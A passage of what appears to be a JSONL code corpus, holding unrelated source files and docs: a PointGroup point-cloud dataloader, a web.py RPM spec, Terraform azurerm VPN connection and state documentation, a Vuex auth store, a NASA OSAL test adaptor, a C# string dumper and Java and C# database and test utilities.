0).to(torch.float32) # float (N, 9) (meanxyz, minxyz, maxxyz)\n instance_pointnum = torch.tensor(instance_pointnum, dtype=torch.int) # int (total_nInst)\n\n spatial_shape = np.clip((locs.max(0)[0][1:] + 1).numpy(), self.full_scale[0], None) # long (3)\n\n ### voxelize\n voxel_locs, p2v_map, v2p_map = pointgroup_ops.voxelization_idx(locs, self.batch_size, self.mode)\n\n return {'locs': locs, 'voxel_locs': voxel_locs, 'p2v_map': p2v_map, 'v2p_map': v2p_map,\n 'locs_float': locs_float, 'feats': feats, 'labels': labels, 'instance_labels': instance_labels,\n 'instance_info': instance_infos, 'instance_pointnum': instance_pointnum,\n 'id': id, 'offsets': batch_offsets, 'spatial_shape': spatial_shape}\n\n\n def valMerge(self, id):\n locs = []\n locs_float = []\n feats = []\n labels = []\n instance_labels = []\n\n instance_infos = [] # (N, 9)\n instance_pointnum = [] # (total_nInst), int\n\n batch_offsets = [0]\n\n total_inst_num = 0\n for i, idx in enumerate(id):\n xyz_origin, rgb, label, instance_label = self.val_files[idx]\n\n ### flip x / rotation\n xyz_middle = self.dataAugment(xyz_origin, False, True, True)\n\n ### scale\n xyz = xyz_middle * self.scale\n\n ### offset\n xyz -= xyz.min(0)\n\n ### crop\n xyz, valid_idxs = self.crop(xyz)\n\n xyz_middle = xyz_middle[valid_idxs]\n xyz = xyz[valid_idxs]\n rgb = rgb[valid_idxs]\n label = label[valid_idxs]\n instance_label = self.getCroppedInstLabel(instance_label, valid_idxs)\n\n ### get instance information\n inst_num, inst_infos = self.getInstanceInfo(xyz_middle, instance_label.astype(np.int32))\n inst_info = inst_infos[\"instance_info\"] # (n, 9), (cx, cy, cz, minx, miny, minz, maxx, maxy, maxz)\n inst_pointnum = inst_infos[\"instance_pointnum\"] # (nInst), list\n\n instance_label[np.where(instance_label != -100)] += total_inst_num\n total_inst_num += inst_num\n\n ### merge the scene to the batch\n batch_offsets.append(batch_offsets[-1] + xyz.shape[0])\n\n locs.append(torch.cat([torch.LongTensor(xyz.shape[0], 1).fill_(i), torch.from_numpy(xyz).long()], 1))\n locs_float.append(torch.from_numpy(xyz_middle))\n feats.append(torch.from_numpy(rgb))\n labels.append(torch.from_numpy(label))\n instance_labels.append(torch.from_numpy(instance_label))\n\n instance_infos.append(torch.from_numpy(inst_info))\n instance_pointnum.extend(inst_pointnum)\n\n ### merge all the scenes in the batch\n batch_offsets = torch.tensor(batch_offsets, dtype=torch.int) # int (B+1)\n\n locs = torch.cat(locs, 0) # long (N, 1 + 3), the batch item idx is put in locs[:, 0]\n locs_float = torch.cat(locs_float, 0).to(torch.float32) # float (N, 3)\n feats = torch.cat(feats, 0) # float (N, C)\n labels = torch.cat(labels, 0).long() # long (N)\n instance_labels = torch.cat(instance_labels, 0).long() # long (N)\n\n instance_infos = torch.cat(instance_infos, 0).to(torch.float32) # float (N, 9) (meanxyz, minxyz, maxxyz)\n instance_pointnum = torch.tensor(instance_pointnum, dtype=torch.int) # int (total_nInst)\n\n spatial_shape = np.clip((locs.max(0)[0][1:] + 1).numpy(), self.full_scale[0], None) # long (3)\n\n ### voxelize\n voxel_locs, p2v_map, v2p_map = pointgroup_ops.voxelization_idx(locs, self.batch_size, self.mode)\n\n return {'locs': locs, 'voxel_locs': voxel_locs, 'p2v_map': p2v_map, 'v2p_map': v2p_map,\n 'locs_float': locs_float, 'feats': feats, 'labels': labels, 'instance_labels': instance_labels,\n 'instance_info': instance_infos, 'instance_pointnum': instance_pointnum,\n 'id': id, 'offsets': batch_offsets, 'spatial_shape': spatial_shape}\n\n\n def testMerge(self, id):\n locs = []\n locs_float = []\n feats = []\n\n batch_offsets = [0]\n\n for i, idx in enumerate(id):\n if self.test_split == 'val':\n xyz_origin, rgb, label, instance_label = self.test_files[idx]\n elif self.test_split == 'test':\n xyz_origin, rgb = self.test_files[idx]\n else:\n print(\"Wrong test split: {}!\".format(self.test_split))\n exit(0)\n\n ### flip x / rotation\n xyz_middle = self.dataAugment(xyz_origin, False, True, True)\n\n ### scale\n xyz = xyz_middle * self.scale\n\n ### offset\n xyz -= xyz.min(0)\n\n ### merge the scene to the batch\n batch_offsets.append(batch_offsets[-1] + xyz.shape[0])\n\n locs.append(torch.cat([torch.LongTensor(xyz.shape[0], 1).fill_(i), torch.from_numpy(xyz).long()], 1))\n locs_float.append(torch.from_numpy(xyz_middle))\n feats.append(torch.from_numpy(rgb))\n\n ### merge all the scenes in the batch\n batch_offsets = torch.tensor(batch_offsets, dtype=torch.int) # int (B+1)\n\n locs = torch.cat(locs, 0) # long (N, 1 + 3), the batch item idx is put in locs[:, 0]\n locs_float = torch.cat(locs_float, 0).to(torch.float32) # float (N, 3)\n feats = torch.cat(feats, 0) # float (N, C)\n\n spatial_shape = np.clip((locs.max(0)[0][1:] + 1).numpy(), self.full_scale[0], None) # long (3)\n\n ### voxelize\n voxel_locs, p2v_map, v2p_map = pointgroup_ops.voxelization_idx(locs, self.batch_size, self.mode)\n\n return {'locs': locs, 'voxel_locs': voxel_locs, 'p2v_map': p2v_map, 'v2p_map': v2p_map,\n 'locs_float': locs_float, 'feats': feats,\n 'id': id, 'offsets': batch_offsets, 'spatial_shape': spatial_shape}\n"} -{"text": "# $Id$\n# Authority: shuff\n# Upstream: Anand Chitipothu \n\n%if ! (0%{?fedora} > 12 || 0%{?rhel} > 5)\n%{!?python_sitelib: %global python_sitelib %(%{__python} -c \"from distutils.sysconfig import get_python_lib; print(get_python_lib())\")}\n%{!?python_sitearch: %global python_sitearch %(%{__python} -c \"from distutils.sysconfig import get_python_lib; print(get_python_lib(1))\")}\n%endif\n\n%define real_name web.py\n\nName: python-webpy\nVersion: 0.37\nRelease: 1%{?dist}\nSummary: Simple, powerful Python web framework\nGroup: Development/Languages\nLicense: Public Domain\nURL: http://webpy.org/\n\nSource: http://webpy.org/static/web.py-%{version}.tar.gz\nBuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root\nBuildArch: noarch\n\nBuildRequires: python-devel\nBuildRequires: python-setuptools\n#Requires: DBUtils\n#Requires: python-markdown\n#Requires: python-MySQLdb\nRequires: python-psycopg2\nRequires: python-sqlite2\n\nProvides: webpy = %{version}-%{release}\n\n%description\nweb.py is a web framework for Python that is as simple as it is powerful.\nweb.py is in the public domain; you can use it for whatever purpose with\nabsolutely no restrictions.\n\n%prep\n%setup -n %{real_name}-%{version}\n\n%build\n%{__python} setup.py build\n\n%install\nrm -rf %{buildroot}\n%{__python} setup.py install -O1 --skip-build --root %{buildroot}\n\n%clean\nrm -rf %{buildroot}\n\n\n%files\n%defattr(-,root,root,-)\n%{python_sitelib}/*\n# if arch-specific\n# %{python_sitearch}/*\n\n%changelog\n* Wed Jun 27 2012 David Hrb\u00e1\u010d - 0.37-1\n- new upstream release\n\n* Mon May 28 2012 David Hrb\u00e1\u010d - 0.36-1\n- new upstream release\n- patch to run on python 2.4.3\n\n* Mon Mar 12 2012 Steve Huff - 0.35-1\n- Initial package.\n"} -{"text": "---\nsubcategory: \"Network\"\nlayout: \"azurerm\"\npage_title: \"Azure Resource Manager: azurerm_virtual_network_gateway_connection\"\ndescription: |-\n Manages a connection in an existing Virtual Network Gateway.\n---\n\n# azurerm_virtual_network_gateway_connection\n\nManages a connection in an existing Virtual Network Gateway.\n\n## Example Usage\n\n### Site-to-Site connection\n\nThe following example shows a connection between an Azure virtual network\nand an on-premises VPN device and network.\n\n```hcl\nresource \"azurerm_resource_group\" \"example\" {\n name = \"test\"\n location = \"West US\"\n}\n\nresource \"azurerm_virtual_network\" \"example\" {\n name = \"test\"\n location = azurerm_resource_group.example.location\n resource_group_name = azurerm_resource_group.example.name\n address_space = [\"10.0.0.0/16\"]\n}\n\nresource \"azurerm_subnet\" \"example\" {\n name = \"GatewaySubnet\"\n resource_group_name = azurerm_resource_group.example.name\n virtual_network_name = azurerm_virtual_network.example.name\n address_prefix = \"10.0.1.0/24\"\n}\n\nresource \"azurerm_local_network_gateway\" \"onpremise\" {\n name = \"onpremise\"\n location = azurerm_resource_group.example.location\n resource_group_name = azurerm_resource_group.example.name\n gateway_address = \"168.62.225.23\"\n address_space = [\"10.1.1.0/24\"]\n}\n\nresource \"azurerm_public_ip\" \"example\" {\n name = \"test\"\n location = azurerm_resource_group.example.location\n resource_group_name = azurerm_resource_group.example.name\n allocation_method = \"Dynamic\"\n}\n\nresource \"azurerm_virtual_network_gateway\" \"example\" {\n name = \"test\"\n location = azurerm_resource_group.example.location\n resource_group_name = azurerm_resource_group.example.name\n\n type = \"Vpn\"\n vpn_type = \"RouteBased\"\n\n active_active = false\n enable_bgp = false\n sku = \"Basic\"\n\n ip_configuration {\n public_ip_address_id = azurerm_public_ip.example.id\n private_ip_address_allocation = \"Dynamic\"\n subnet_id = azurerm_subnet.example.id\n }\n}\n\nresource \"azurerm_virtual_network_gateway_connection\" \"onpremise\" {\n name = \"onpremise\"\n location = azurerm_resource_group.example.location\n resource_group_name = azurerm_resource_group.example.name\n\n type = \"IPsec\"\n virtual_network_gateway_id = azurerm_virtual_network_gateway.example.id\n local_network_gateway_id = azurerm_local_network_gateway.onpremise.id\n\n shared_key = \"4-v3ry-53cr37-1p53c-5h4r3d-k3y\"\n}\n```\n\n### VNet-to-VNet connection\n\nThe following example shows a connection between two Azure virtual network\nin different locations/regions.\n\n```hcl\nresource \"azurerm_resource_group\" \"us\" {\n name = \"us\"\n location = \"East US\"\n}\n\nresource \"azurerm_virtual_network\" \"us\" {\n name = \"us\"\n location = azurerm_resource_group.us.location\n resource_group_name = azurerm_resource_group.us.name\n address_space = [\"10.0.0.0/16\"]\n}\n\nresource \"azurerm_subnet\" \"us_gateway\" {\n name = \"GatewaySubnet\"\n resource_group_name = azurerm_resource_group.us.name\n virtual_network_name = azurerm_virtual_network.us.name\n address_prefix = \"10.0.1.0/24\"\n}\n\nresource \"azurerm_public_ip\" \"us\" {\n name = \"us\"\n location = azurerm_resource_group.us.location\n resource_group_name = azurerm_resource_group.us.name\n allocation_method = \"Dynamic\"\n}\n\nresource \"azurerm_virtual_network_gateway\" \"us\" {\n name = \"us-gateway\"\n location = azurerm_resource_group.us.location\n resource_group_name = azurerm_resource_group.us.name\n\n type = \"Vpn\"\n vpn_type = \"RouteBased\"\n sku = \"Basic\"\n\n ip_configuration {\n public_ip_address_id = azurerm_public_ip.us.id\n private_ip_address_allocation = \"Dynamic\"\n subnet_id = azurerm_subnet.us_gateway.id\n }\n}\n\nresource \"azurerm_resource_group\" \"europe\" {\n name = \"europe\"\n location = \"West Europe\"\n}\n\nresource \"azurerm_virtual_network\" \"europe\" {\n name = \"europe\"\n location = azurerm_resource_group.europe.location\n resource_group_name = azurerm_resource_group.europe.name\n address_space = [\"10.1.0.0/16\"]\n}\n\nresource \"azurerm_subnet\" \"europe_gateway\" {\n name = \"GatewaySubnet\"\n resource_group_name = azurerm_resource_group.europe.name\n virtual_network_name = azurerm_virtual_network.europe.name\n address_prefix = \"10.1.1.0/24\"\n}\n\nresource \"azurerm_public_ip\" \"europe\" {\n name = \"europe\"\n location = azurerm_resource_group.europe.location\n resource_group_name = azurerm_resource_group.europe.name\n allocation_method = \"Dynamic\"\n}\n\nresource \"azurerm_virtual_network_gateway\" \"europe\" {\n name = \"europe-gateway\"\n location = azurerm_resource_group.europe.location\n resource_group_name = azurerm_resource_group.europe.name\n\n type = \"Vpn\"\n vpn_type = \"RouteBased\"\n sku = \"Basic\"\n\n ip_configuration {\n public_ip_address_id = azurerm_public_ip.europe.id\n private_ip_address_allocation = \"Dynamic\"\n subnet_id = azurerm_subnet.europe_gateway.id\n }\n}\n\nresource \"azurerm_virtual_network_gateway_connection\" \"us_to_europe\" {\n name = \"us-to-europe\"\n location = azurerm_resource_group.us.location\n resource_group_name = azurerm_resource_group.us.name\n\n type = \"Vnet2Vnet\"\n virtual_network_gateway_id = azurerm_virtual_network_gateway.us.id\n peer_virtual_network_gateway_id = azurerm_virtual_network_gateway.europe.id\n\n shared_key = \"4-v3ry-53cr37-1p53c-5h4r3d-k3y\"\n}\n\nresource \"azurerm_virtual_network_gateway_connection\" \"europe_to_us\" {\n name = \"europe-to-us\"\n location = azurerm_resource_group.europe.location\n resource_group_name = azurerm_resource_group.europe.name\n\n type = \"Vnet2Vnet\"\n virtual_network_gateway_id = azurerm_virtual_network_gateway.europe.id\n peer_virtual_network_gateway_id = azurerm_virtual_network_gateway.us.id\n\n shared_key = \"4-v3ry-53cr37-1p53c-5h4r3d-k3y\"\n}\n```\n\n## Argument Reference\n\nThe following arguments are supported:\n\n* `name` - (Required) The name of the connection. Changing the name forces a\n new resource to be created.\n\n* `resource_group_name` - (Required) The name of the resource group in which to\n create the connection Changing the name forces a new resource to be created.\n\n* `location` - (Required) The location/region where the connection is\n located. Changing this forces a new resource to be created.\n\n* `type` - (Required) The type of connection. Valid options are `IPsec`\n (Site-to-Site), `ExpressRoute` (ExpressRoute), and `Vnet2Vnet` (VNet-to-VNet).\n Each connection type requires different mandatory arguments (refer to the\n examples above). Changing the connection type will force a new connection\n to be created.\n\n* `virtual_network_gateway_id` - (Required) The ID of the Virtual Network Gateway\n in which the connection will be created. Changing the gateway forces a new\n resource to be created.\n\n* `authorization_key` - (Optional) The authorization key associated with the\n Express Route Circuit. This field is required only if the type is an\n ExpressRoute connection.\n\n* `express_route_circuit_id` - (Optional) The ID of the Express Route Circuit\n when creating an ExpressRoute connection (i.e. when `type` is `ExpressRoute`).\n The Express Route Circuit can be in the same or in a different subscription.\n\n* `peer_virtual_network_gateway_id` - (Optional) The ID of the peer virtual\n network gateway when creating a VNet-to-VNet connection (i.e. when `type`\n is `Vnet2Vnet`). The peer Virtual Network Gateway can be in the same or\n in a different subscription.\n\n* `local_network_gateway_id` - (Optional) The ID of the local network gateway\n when creating Site-to-Site connection (i.e. when `type` is `IPsec`).\n\n* `routing_weight` - (Optional) The routing weight. Defaults to `10`.\n\n* `shared_key` - (Optional) The shared IPSec key. A key could be provided if a\n Site-to-Site, VNet-to-VNet or ExpressRoute connection is created.\n\n* `connection_protocol` - (Optional) The IKE protocol version to use. Possible\n values are `IKEv1` and `IKEv2`. Defaults to `IKEv2`.\n Changing this value will force a resource to be created.\n-> **Note**: Only valid for `IPSec` connections on virtual network gateways with SKU `VpnGw1`, `VpnGw2`, `VpnGw3`, `VpnGw1AZ`, `VpnGw2AZ` or `VpnGw3AZ`.\n\n* `enable_bgp` - (Optional) If `true`, BGP (Border Gateway Protocol) is enabled\n for this connection. Defaults to `false`.\n\n* `express_route_gateway_bypass` - (Optional) If `true`, data packets will bypass ExpressRoute Gateway for data forwarding This is only valid for ExpressRoute connections.\n\n* `use_policy_based_traffic_selectors` - (Optional) If `true`, policy-based traffic\n selectors are enabled for this connection. Enabling policy-based traffic\n selectors requires an `ipsec_policy` block. Defaults to `false`.\n\n* `ipsec_policy` (Optional) A `ipsec_policy` block which is documented below.\n Only a single policy can be defined for a connection. For details on\n custom policies refer to [the relevant section in the Azure documentation](https://docs.microsoft.com/en-us/azure/vpn-gateway/vpn-gateway-ipsecikepolicy-rm-powershell).\n\n* `traffic_selector_policy` A `traffic_selector_policy` which allows to specify traffic selector policy proposal to be used in a virtual network gateway connection.\n Only one block can be defined for a connection.\n For details about traffic selectors refer to [the relevant section in the Azure documentation](https://docs.microsoft.com/en-us/azure/vpn-gateway/vpn-gateway-connect-multiple-policybased-rm-ps).\n\n* `tags` - (Optional) A mapping of tags to assign to the resource.\n\nThe `ipsec_policy` block supports:\n\n* `dh_group` - (Required) The DH group used in IKE phase 1 for initial SA. Valid\n options are `DHGroup1`, `DHGroup14`, `DHGroup2`, `DHGroup2048`, `DHGroup24`,\n `ECP256`, `ECP384`, or `None`.\n\n* `ike_encryption` - (Required) The IKE encryption algorithm. Valid\n options are `AES128`, `AES192`, `AES256`, `DES`, or `DES3`.\n\n* `ike_integrity` - (Required) The IKE integrity algorithm. Valid\n options are `MD5`, `SHA1`, `SHA256`, or `SHA384`.\n\n* `ipsec_encryption` - (Required) The IPSec encryption algorithm. Valid\n options are `AES128`, `AES192`, `AES256`, `DES`, `DES3`, `GCMAES128`, `GCMAES192`, `GCMAES256`, or `None`.\n\n* `ipsec_integrity` - (Required) The IPSec integrity algorithm. Valid\n options are `GCMAES128`, `GCMAES192`, `GCMAES256`, `MD5`, `SHA1`, or `SHA256`.\n\n* `pfs_group` - (Required) The DH group used in IKE phase 2 for new child SA.\n Valid options are `ECP256`, `ECP384`, `PFS1`, `PFS2`, `PFS2048`, `PFS24`,\n or `None`.\n\n* `sa_datasize` - (Optional) The IPSec SA payload size in KB. Must be at least\n `1024` KB. Defaults to `102400000` KB.\n\n* `sa_lifetime` - (Optional) The IPSec SA lifetime in seconds. Must be at least\n `300` seconds. Defaults to `27000` seconds.\n\n## Attributes Reference\n\nThe following attributes are exported:\n\n* `id` - The ID of the Virtual Network Gateway Connection.\n\n## Timeouts\n\nThe `timeouts` block allows you to specify [timeouts](https://www.terraform.io/docs/configuration/resources.html#timeouts) for certain actions:\n\n* `create` - (Defaults to 30 minutes) Used when creating the Virtual Network Gateway Connection.\n* `update` - (Defaults to 30 minutes) Used when updating the Virtual Network Gateway Connection.\n* `read` - (Defaults to 5 minutes) Used when retrieving the Virtual Network Gateway Connection.\n* `delete` - (Defaults to 30 minutes) Used when deleting the Virtual Network Gateway Connection.\n\n## Import\n\nVirtual Network Gateway Connections can be imported using their `resource id`, e.g.\n\n```\nterraform import azurerm_virtual_network_gateway_connection.exampleConnection /subscriptions/00000000-0000-0000-0000-000000000000/resourceGroups/myGroup1/providers/Microsoft.Network/connections/myConnection1\n```\n"} -{"text": "import * as types from './mutation-types'\n\nexport default {\n [types.AUTH_SUCCESS] (state, token) {\n state.token = token\n state.status = 'success'\n },\n\n [types.AUTH_LOGOUT] (state) {\n state.token = null\n },\n\n [types.AUTH_ERROR] (state, errorResponse) {\n state.token = null\n state.status = 'error'\n },\n\n [types.REFRESH_SUCCESS] (state, token) {\n state.token = token\n state.status = 'success'\n }\n}\n"} -{"text": "---\nlayout: \"docs\"\npage_title: \"State\"\nsidebar_current: \"docs-state-purpose\"\ndescription: |-\n Terraform must store state about your managed infrastructure and configuration. This state is used by Terraform to map real world resources to your configuration, keep track of metadata, and to improve performance for large infrastructures.\n---\n\n# Purpose of Terraform State\n\nState is a necessary requirement for Terraform to function. It is often\nasked if it is possible for Terraform to work without state, or for Terraform\nto not use state and just inspect cloud resources on every run. This page\nwill help explain why Terraform state is required.\n\nAs you'll see from the reasons below, state is required. And in the scenarios\nwhere Terraform may be able to get away without state, doing so would require\nshifting massive amounts of complexity from one place (state) to another place\n(the replacement concept).\n\n## Mapping to the Real World\n\nTerraform requires some sort of database to map Terraform config to the real\nworld. When you have a resource `resource \"aws_instance\" \"foo\"` in your\nconfiguration, Terraform uses this map to know that instance `i-abcd1234`\nis that resource.\n\nFor some providers like AWS, Terraform could theoretically use something like\nAWS tags. Early prototypes of Terraform actually had no state files and used\nthis method. However, we quickly ran into problems. The first major issue was\na simple one: not all resources support tags, and not all cloud providers\nsupport tags.\n\nTherefore, for mapping configuration to resources in the real world,\nTerraform requires states.\n\n## Metadata\n\nTerraform needs to store more than just resource mappings. Terraform\nmust keep track of metadata such as dependencies.\n\nTerraform typically uses the configuration to determine dependency order.\nHowever, when you delete a resource from a Terraform configuration, Terraform\nmust know how to delete that resource. Terraform can see that a mapping exists\nfor a resource not in your configuration and plan to destroy. However, since\nthe configuration no longer exists, it no longer knows the proper destruction\norder.\n\nTo work around this, Terraform stores the creation-time dependencies within\nthe state. Now, when you delete one or more items from the configuration,\nTerraform can still build the correct destruction ordering based only\non the state.\n\nOne idea to avoid this is for Terraform to understand the proper ordering\nof resources. For example, Terraform could know that servers must be deleted\nbefore the subnets they are a part of. The complexity for this approach\nquickly explodes, however: in addition to Terraform having to understand the\nordering semantics of every resource for every cloud, Terraform must also\nunderstand the ordering _across providers_.\n\nIn addition to dependencies, Terraform will store more metadata in the\nfuture such as last run time, creation time, update time, lifecycle options\nsuch as prevent destroy, etc.\n\n## Performance\n\nIn addition to basic mapping, Terraform stores a cache of the attribute\nvalues for all resources in the state. This is the most optional feature of\nTerraform state and is done only as a performance improvement.\n\nWhen running a `terraform plan`, Terraform must know the current state of\nresources in order to effectively determine the changes that it needs to make\nto reach your desired configuration.\n\nFor small infrastructures, Terraform can query your providers and sync the\nlatest attributes from all your resources. This is the default behavior\nof Terraform: for every plan and apply, Terraform will sync all resources in\nyour state.\n\nFor larger infrastructures, querying every resource is too slow. Many cloud\nproviders do not provide APIs to query multiple resources at once, and the\nround trip time for each resource is hundreds of milliseconds. On top of this,\ncloud providers almost always have API rate limiting so Terraform can only\nrequest a certain number of resources in a period of time. Larger users\nof Terraform make heavy use of the `-refresh=false` flag as well as the\n`-target` flag in order to work around this. In these scenarios, the cached\nstate is treated as the record of truth.\n\n## Syncing\n\nThe primary motivation people have for using remote state files is in an attempt\nto improve using Terraform with teams. State files can easily result in\nconflicts when two people modify infrastructure at the same time.\n\n[Remote state](/docs/state/remote.html) is the recommended solution\nto this problem. At the time of writing, remote state works well but there\nare still scenarios that can result in state conflicts. A priority for future\nversions of Terraform is to improve this.\n"} -{"text": "/*\n * NASA Docket No. GSC-18,370-1, and identified as \"Operating System Abstraction Layer\"\n *\n * Copyright (c) 2019 United States Government as represented by\n * the Administrator of the National Aeronautics and Space Administration.\n * All Rights Reserved.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\n/**\n * \\file ut-adaptor-filesys.c\n * \\ingroup adaptors\n * \\author joseph.p.hickey@nasa.gov\n *\n */\n/* pull in the OSAL configuration */\n#include \"osconfig.h\"\n#include \"ut-adaptor-filesys.h\"\n\n#include \n#include \n\n\n\nvoid* const UT_Ref_OS_impl_filesys_table = OS_impl_filesys_table;\nsize_t const UT_Ref_OS_impl_filesys_table_SIZE = sizeof(OS_impl_filesys_table);\n\nvoid UT_FileSysTest_SetupFileSysEntry(uint32 id, OCS_BLK_DEV *blkdev, OCS_device_t xbddev, uint32 MaxParts)\n{\n OS_impl_filesys_table[id].blkDev = blkdev;\n OS_impl_filesys_table[id].xbd = xbddev;\n OS_impl_filesys_table[id].xbdMaxPartitions = MaxParts;\n}\n\n"} -{"text": "\ufeffusing OpenVIII;\nusing System.Collections.Generic;\nusing System.Collections.ObjectModel;\nusing System.Diagnostics.CodeAnalysis;\nusing System.IO;\nusing System.Linq;\nusing System.Text;\nusing System.Xml;\n\nnamespace DumpStrings\n{\n internal class Program\n {\n #region Properties\n\n private static XmlWriterSettings XmlWriterSettings { get; } = new XmlWriterSettings()\n {\n Indent = true,\n IndentChars = \"\\t\",\n NewLineOnAttributes = true,\n Encoding = Encoding.Unicode\n };\n\n private static IEnumerable<(Strings.FileID fileKey, int sectionKey, int id, FF8StringReference Value)> CollectionOfStrings\n {\n get\n {\n (Strings.FileID fileKey, int sectionKey, int id, FF8StringReference Value) Get(Strings.FileID fileID,\n int sectionID, int inputID, FF8StringReference value)\n => (fileID, sectionID, inputID, value); // this is for having a tuple instead of anonymous type\n\n var strings = (\n from file in Memory.Strings\n from section in file.Value\n from ff8StringReference in section.Value.Select((x, i) => new { Key = i, Value = x })\n where ff8StringReference.Value != null && ff8StringReference.Value.Length > 0\n select\n Get(file.Key, section.Key, ff8StringReference.Key, ff8StringReference.Value)\n ).ToList().AsReadOnly();\n return strings;\n }\n }\n\n #endregion Properties\n\n #region Methods\n\n [SuppressMessage(\"ReSharper\", \"PossibleMultipleEnumeration\")]\n private static void DumpReverseStrings()\n {\n using (var w =\n XmlWriter.Create(\n new FileStream($\"reverse_strings_{Extended.GetLanguageShort().ToLower()}.xml\", FileMode.Create, FileAccess.Write,\n FileShare.ReadWrite),\n XmlWriterSettings))\n {\n w.WriteStartDocument();\n w.WriteStartElement(\"ReverseStrings\"); //\n w.WriteAttributeString(\"lang\", Extended.GetLanguageShort().ToUpper());\n\n var strings = CollectionOfStrings;\n\n w.WriteAttributeString(\"count\", strings.Count().ToString(\"D\"));\n foreach ((var fileID, var sectionID, var id, var value) in strings)\n {\n w.WriteStartElement(\"String\");\n w.WriteAttributeString(nameof(fileID).ToLower(), fileID.ToString(\"D\"));\n w.WriteAttributeString(nameof(sectionID).ToLower(), sectionID.ToString(\"D\"));\n w.WriteAttributeString(nameof(id)+$\"_{Extended.GetLanguageShort().ToLower()}\", id.ToString(\"D\"));\n w.WriteAttributeString(nameof(value.Offset).ToLower() + $\"_{Extended.GetLanguageShort().ToLower()}\", value.Offset.ToString(\"X\"));\n w.WriteAttributeString(nameof(value.Length).ToLower() + $\"_{Extended.GetLanguageShort().ToLower()}\", value.Length.ToString(\"D\"));\n w.WriteAttributeString(nameof(value) + $\"_{Extended.GetLanguageShort().ToLower()}\", value);\n w.WriteEndElement();\n }\n w.WriteEndElement(); //\n w.WriteEndDocument();\n }\n }\n\n private static void DumpStrings()\n {\n using (var w =\n XmlWriter.Create(\n new FileStream($\"strings_{Extended.GetLanguageShort().ToLower()}.xml\", FileMode.Create, FileAccess.Write,\n FileShare.ReadWrite),\n XmlWriterSettings))\n {\n w.WriteStartDocument();\n w.WriteStartElement(\"Strings\"); //\n w.WriteAttributeString(\"lang\", Extended.GetLanguageShort().ToUpper());\n\n var strings = CollectionOfStrings;\n var fileGroups = strings.GroupBy(x => x.fileKey).ToList().AsReadOnly();\n //var fileGroupsCounts = fileGroups.Select(group => new {group.Key, Count = group.Count()});\n var fileGroupsCount = fileGroups.Count();\n w.WriteAttributeString(\"count\", fileGroupsCount.ToString(\"D\"));\n foreach (var fileGroup in fileGroups)\n {\n w.WriteStartElement(\"File\");\n w.WriteAttributeString(\"id\", fileGroup.Key.ToString());\n var sectionGroups = fileGroup.GroupBy(x => x.sectionKey).ToList().AsReadOnly();\n var sectionGroupsCount = sectionGroups.Count();\n w.WriteAttributeString(\"count\", sectionGroupsCount.ToString(\"D\"));\n foreach (var sectionGroup in sectionGroups)\n {\n w.WriteStartElement(\"Section\");\n w.WriteAttributeString(\"id\", sectionGroup.Key.ToString());\n w.WriteAttributeString(\"count\", sectionGroup.Count().ToString(\"D\"));\n foreach (var ff8StringReference in sectionGroup)\n {\n w.WriteStartElement(\"String\");\n w.WriteAttributeString(\"id\", ff8StringReference.id.ToString());\n w.WriteAttributeString(\"offset\", ff8StringReference.Value.Offset.ToString(\"X\"));\n w.WriteAttributeString(\"size\", ff8StringReference.Value.Length.ToString(\"D\"));\n w.WriteString(ff8StringReference.Value);\n w.WriteEndElement();\n }\n\n w.WriteEndElement();\n }\n\n w.WriteEndElement();\n }\n\n w.WriteEndElement(); //\n w.WriteEndDocument();\n }\n }\n\n private static void Main(string[] args)\n {\n Memory.Init(null, null, null, args);\n DumpStrings();\n DumpReverseStrings();\n }\n\n #endregion Methods\n }\n}"} -{"text": "\npackage com.networknt.apib.handler;\n\nimport com.networknt.server.Server;\nimport org.junit.rules.ExternalResource;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport java.util.concurrent.atomic.AtomicInteger;\n\nimport com.networknt.server.Server;\nimport com.networknt.server.ServerConfig;\n\npublic class TestServer extends ExternalResource {\n static final Logger logger = LoggerFactory.getLogger(TestServer.class);\n\n private static final AtomicInteger refCount = new AtomicInteger(0);\n private static Server server;\n\n private static final TestServer instance = new TestServer();\n\n public static TestServer getInstance () {\n return instance;\n }\n\n private TestServer() {\n\n }\n\n public ServerConfig getServerConfig() {\n return Server.config;\n }\n\n @Override\n protected void before() {\n try {\n if (refCount.get() == 0) {\n Server.start();\n }\n }\n finally {\n refCount.getAndIncrement();\n }\n }\n\n @Override\n protected void after() {\n refCount.getAndDecrement();\n if (refCount.get() == 0) {\n Server.stop();\n }\n }\n}\n"} -{"text": "\ufeffusing RepoDb.Exceptions;\nusing RepoDb.Extensions;\nusing RepoDb.Interfaces;\nusing RepoDb.Requests;\nusing System;\nusing System.Collections.Generic;\nusing System.Data;\nusing System.Linq.Expressions;\nusing System.Threading.Tasks;\n\nnamespace RepoDb\n{\n /// \n /// Contains the extension methods for object.\n /// \n public static partial class DbConnectionExtension\n {\n #region Count\n\n /// \n /// Counts the number of table data from the database.\n /// \n /// The type of the data entity object.\n /// The connection object to be used.\n /// The dynamic expression to be used.\n /// The table hints to be used. See class.\n /// The command timeout in seconds to be used.\n /// The transaction to be used.\n /// The trace object to be used.\n /// The statement builder object to be used.\n /// An integer value that holds the number of data from the database.\n public static long Count(this IDbConnection connection,\n object where = null,\n string hints = null,\n int? commandTimeout = null,\n IDbTransaction transaction = null,\n ITrace trace = null,\n IStatementBuilder statementBuilder = null)\n where TEntity : class\n {\n return Count(connection: connection,\n where: ToQueryGroup(where),\n hints: hints,\n commandTimeout: commandTimeout,\n transaction: transaction,\n trace: trace,\n statementBuilder: statementBuilder);\n }\n\n /// \n /// Counts the number of table data from the database.\n /// \n /// The type of the data entity object.\n /// The connection object to be used.\n /// The query expression to be used.\n /// The table hints to be used. See class.\n /// The command timeout in seconds to be used.\n /// The transaction to be used.\n /// The trace object to be used.\n /// The statement builder object to be used.\n /// An integer value that holds the number of data from the database.\n public static long Count(this IDbConnection connection,\n Expression> where = null,\n string hints = null,\n int? commandTimeout = null,\n IDbTransaction transaction = null,\n ITrace trace = null,\n IStatementBuilder statementBuilder = null)\n where TEntity : class\n {\n return Count(connection: connection,\n where: ToQueryGroup(where),\n hints: hints,\n 